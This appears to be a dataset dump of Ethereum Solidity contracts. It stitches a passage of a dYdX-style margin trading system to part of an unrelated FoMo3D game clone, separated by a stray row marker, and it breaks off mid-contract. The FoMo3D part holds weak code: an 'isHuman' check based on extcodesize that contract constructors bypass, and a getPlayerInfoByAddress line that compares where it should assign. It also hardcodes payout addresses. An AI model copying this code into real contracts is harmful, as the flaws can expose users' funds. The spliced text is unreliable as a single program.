function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract PayableMarginMinter is ReentrancyGuard {
using TokenInteract for address;
address public DYDX_MARGIN;
address public WETH;
constructor(
address margin,
address weth
)
public
{
DYDX_MARGIN = margin;
WETH = weth;
address tokenProxy = Margin(DYDX_MARGIN).getTokenProxyAddress();
WETH.approve(tokenProxy, MathHelpers.maxUint256());
}
function ()
external
payable
{
require(
msg.sender == WETH,
"PayableMarginMinter#fallback: Cannot recieve ETH directly unless unwrapping WETH"
);
}
function mintMarginTokens(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
payable
nonReentrant
returns (uint256)
{
WETH9(WETH).deposit.value(msg.value)();
Margin(DYDX_MARGIN).increasePosition(
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
address marginTokenContract = Margin(DYDX_MARGIN).getPositionOwner(positionId);
uint256 numTokens = marginTokenContract.balanceOf(address(this));
marginTokenContract.transfer(msg.sender, numTokens);
uint256 leftoverEth = WETH.balanceOf(address(this));
if (leftoverEth > 0) {
WETH9(WETH).withdraw(leftoverEth);
msg.sender.transfer(leftoverEth);
}
return numTokens;
}
} | 0 | 565 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
DiviesInterface constant private Divies = DiviesInterface(0xeff0ebb99f18eb01f5883acad9662705a6d24ba8);
address reward = 0xeff0ebb99f18eb01f5883acad9662705a6d24ba8;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x66a3ab31055fb0c32e8178914e106e0fff5d0460);
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
